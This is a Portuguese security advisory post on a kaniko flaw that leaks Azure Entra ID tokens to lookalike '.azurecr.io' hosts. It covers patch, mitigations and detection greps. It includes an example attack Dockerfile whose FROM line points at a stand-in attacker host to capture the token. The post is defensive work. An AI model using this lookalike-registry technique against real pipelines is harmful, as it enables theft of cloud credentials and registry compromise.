kaniko CVE-2026-105769: token Azure no ACR lookalike
Kaniko < v1.25.20 manda o token Entra ID a registry lookalike (.azurecr.io no host). Fluxo, patch, mitigações e greps para achar o risco no CI.
Em 5 de novembro de 2026 o advisory GHSA-5q7h-w9jf-cx97 mostrou um caminho curto até o token Entra ID da sua pipeline: um Dockerfile com FROM x.azurecr.io.attacker.com/img, kaniko anterior a v1.25.20 e qualquer identidade Azure disponível no ambiente. Sem RUN, sem push, o executor posta o Bearer vivo para o host do atacante. A nota CVE-2026-105769 (NVD) marca CVSS 9.3.
O problema não está no protocolo do ACR. Está no helper embutido docker-credential-acr-env, que decide “isso é ACR?” com uma regex sem âncora. Qualquer hostname que contenha .azurecr.io (ou .cn/.de/.us) passa. Abaixo: o fluxo do incidente, quem é afetado, o patch, mitigações e um roteiro de checagem que você pode rodar no CI hoje — além de onde isso encaixa se o time usa o Dockyard ou outro painel Docker para disparar builds.

O que o helper fazia de errado
O kaniko, fork Chainguard em github.com/chainguard-dev/kaniko, liga o módulo github.com/chrismellard/docker-credential-acr-env no executor e no warmer. Quando precisa de credencial para um registry que não está no Docker config e não é GCR/ECR, consulta esse helper. O helper pede um token ARM/Entra ID (service principal, workload identity do AKS ou managed identity via IMDS) e manda um POST para https://<host>/oauth2/exchange com o token no header Authorization: Bearer e no campo de formulário access_token.
A checagem de host era, em essência, “o nome casa com algo que tenha .azurecr.io no meio?”. Sem ^ nem $ bem colocados, loja.azurecr.io.evil.net passa. O atacante não precisa sequer responder 401: o kaniko pede a credencial antes de falar com o registry. O advisory da Chainguard e o espelho em GHSA no repositório descrevem o mesmo cenário; o Go vuln DB rastreia o módulo upstream como GO-2026-6225.
# Dockerfile controlado pelo atacante (ou por PR sem revisão) FROM evil.azurecr.io.attacker.invalid/base:latest # ou: # COPY --from=evil.azurecr.io.attacker.invalid/tools:1 /bin/x /usr/local/bin/x # Sem RUN. Sem --destination. O token já saiu.
O mesmo vale para COPY --from=<imagem>. Base image e stage remoto passam pelo helper. Dockerfile em PR de contribuinte, template gerado por ferramenta ou build arg que monta o nome da imagem: qualquer um desses basta se o pipeline não confia só em Dockerfile revisado.
Quem está na linha de fogo
Você é afetado se corre kaniko < v1.25.20 com Dockerfile (ou args) que não controla por completo e o helper consegue uma identidade Azure:
- variáveis de service principal (
AZURE_CLIENT_ID,AZURE_CLIENT_SECRET,AZURE_TENANT_ID); - token federado de workload identity no AKS (
AZURE_FEDERATED_TOKEN/AZURE_FEDERATED_TOKEN_FILE); - managed identity via IMDS (
169.254.169.254) ouMSI_ENDPOINT.
Não precisa “usar ACR de propósito”. O helper entra para qualquer registry sem credencial prévia. Se a identidade tiver AcrPush ou mais, o atacante troca o token no ACR real e empurra imagem para o seu registry. Enquanto o token não expira, ARM também responde às roles daquela identidade — ler Key Vault, listar storage, o que a RBAC permitir. Identidade de build com permissão larga piora o estrago; o vazamento em si já é crítico.
Pipelines que montam o executor a partir de imagem antiga “só para testar o PR” e herdam a managed identity do node AKS caem no mesmo saco. O mesmo vale se o time dispara o build pelo Docker no servidor com env Azure exportado “porque o push pro ACR precisa”.
O patch em v1.25.20
A correção saiu na tag v1.25.20, via PR #495. O kaniko passou a carregar uma cópia patchada do helper em third_party/docker-credential-acr-env. A regra nova exige hostname bem formado que termine em .azurecr.io (ou equivalentes regionais) ou seja exatamente mcr.microsoft.com, opcionalmente com porta. Qualquer outra coisa: “credentials not found”, sem pedir token.
O repositório não publica binário pronto: rebuild do executor, do warmer e do binário docker-credential-acr-env a partir de v1.25.20 ou superior. Quem importa o módulo Go atualiza github.com/chainguard-dev/kaniko para ≥ 1.25.20. A partir dessa versão o kaniko deixa de depender do módulo unmaintained, e scanners param de apontar GO-2026-6225 nele.
# Imagem / binário em uso no CI kaniko_version=$(docker run --rm "$KANIKO_IMAGE" version 2>/dev/null \ || /kaniko/executor version 2>/dev/null \ || echo "desconhecido") echo "$kaniko_version" # Aceite só >= v1.25.20 (rebuild a partir dessa tag)
Se a imagem do CI ainda mostra 1.23.x / 1.24.x / 1.25.19, trate como vulnerável até o rebuild. Conferir só o digest “latest” sem tag pinada é o mesmo erro de sempre com base image — combine com a disciplina de segredo fora da imagem: credencial e versão pinada andam juntas.
Mitigações enquanto a imagem não sobe
O advisory lista três saídas se o rebuild atrasa:
# Mitigações se ainda não puder subir a imagem # 1) Sem identidade Azure no pod de build unset AZURE_CLIENT_ID AZURE_CLIENT_SECRET AZURE_TENANT_ID unset AZURE_FEDERATED_TOKEN AZURE_FEDERATED_TOKEN_FILE unset MSI_ENDPOINT MSI_SECRET # 2) Desliga o helper embutido (kaniko deixa de autenticar ACR por ele) export AZURE_ENVIRONMENT=none # 3) Bloqueia IMDS no NetworkPolicy do namespace de build (exemplo Cilium/Calico) # egress para 169.254.169.254/32 = deny
A opção AZURE_ENVIRONMENT=none faz o helper falhar cedo e o kaniko deixa de autenticar ACR por esse caminho. Útil quando o push usa outro mecanismo (credencial já no Docker config, registry mirror interno). Bloquear IMDS no NetworkPolicy do namespace de build fecha a porta da managed identity mesmo se alguém esquecer o env. Tirar SP e federated token do job é o mínimo se o Dockerfile pode vir de fora.
Token já vazado: rode como incidente. Revogue a credencial / rode a identidade, revise logs de ARM e ACR no intervalo do vazamento, e assuma que quem recebeu o Bearer pode ter trocado em ACR reais. O prazo de validade do access token é o relógio do atacante — não o do seu feeling de “foi só um teste”.
Roteiro de checagem no repositório e no cluster
Três greps leves valem mais do que um slide de “hardening”:
# Ache hostnames que CONTÊM .azurecr.io sem ser ACR de verdade grep -nE 'FROM|COPY --from=' Dockerfile* 2>/dev/null \ | grep -iE '\.azurecr\.(io|cn|de|us)' \ | grep -viE '^[^=]*=[[:space:]]*[a-z0-9.-]+\.azurecr\.(io|cn|de|us)(/|$)' # Exemplos que devem saltar: x.azurecr.io.evil.com / mcr.microsoft.com.evil.com # (o patch de v1.25.20 também ancora mcr.microsoft.com)
- Liste jobs que montam
/kaniko/executorou imagem*kaniko*e anote a tag/digest. Qualquer coisa < v1.25.20 entra na fila de rebuild. - Nos manifests do job, procure
AZURE_*,MSI_*e volume do token federado. Se o job aceita Dockerfile de PR externo, essas variáveis não deveriam existir nesse pod. - Confirme NetworkPolicy: egress para
169.254.169.254/32negado no namespace de build, salvo exceção documentada.
Em painéis tipo Dockyard/Portainer/Dockge, o risco costuma ser o template do stack com env Azure “global” reutilizado por todo job de build. Separe o stack de build sem identidade Azure do stack que só faz pull de imagens já publicadas. O post sobre painéis Docker ajuda a mapear onde o env está definido; aqui o ponto é não deixar o executor falar com IMDS.
O que não resolve sozinho
- Trocar só a tag do registry de destino no
--destination: o vazamento acontece no pull/resolução da base, antes do push. - Confiar em “nosso Dockerfile é interno”: build arg, include remoto e PR de dependabot com Dockerfile de exemplo já bastaram em outros incidentes de supply chain.
- Atualizar só o binário standalone
docker-credential-acr-envdo PATH sem rebuildar o executor: o kaniko usa a cópia embutida. - Olhar só CVE no scanner da imagem final: a falha é no processo de build, não necessariamente na imagem produzida.
Em resumo: regex sem âncora + identidade Azure no pod de build + Dockerfile não confiável = token ARM na mão de quem controla o hostname lookalike. Rebuild a partir de v1.25.20, tire a identidade Azure do ambiente de build não confiável e bloqueie IMDS. O CVSS 9.3 não é marketing — é o caminho curto até push no seu ACR e ações no ARM com a role da pipeline.
Fontes conferidas em 5 de novembro de 2026: GHSA-5q7h-w9jf-cx97, advisory Chainguard, release v1.25.20, GO-2026-6225, PR #495 e issue upstream #21. CVE-2026-105769 (NVD) citada pelo texto do advisory. Equipe DevBras.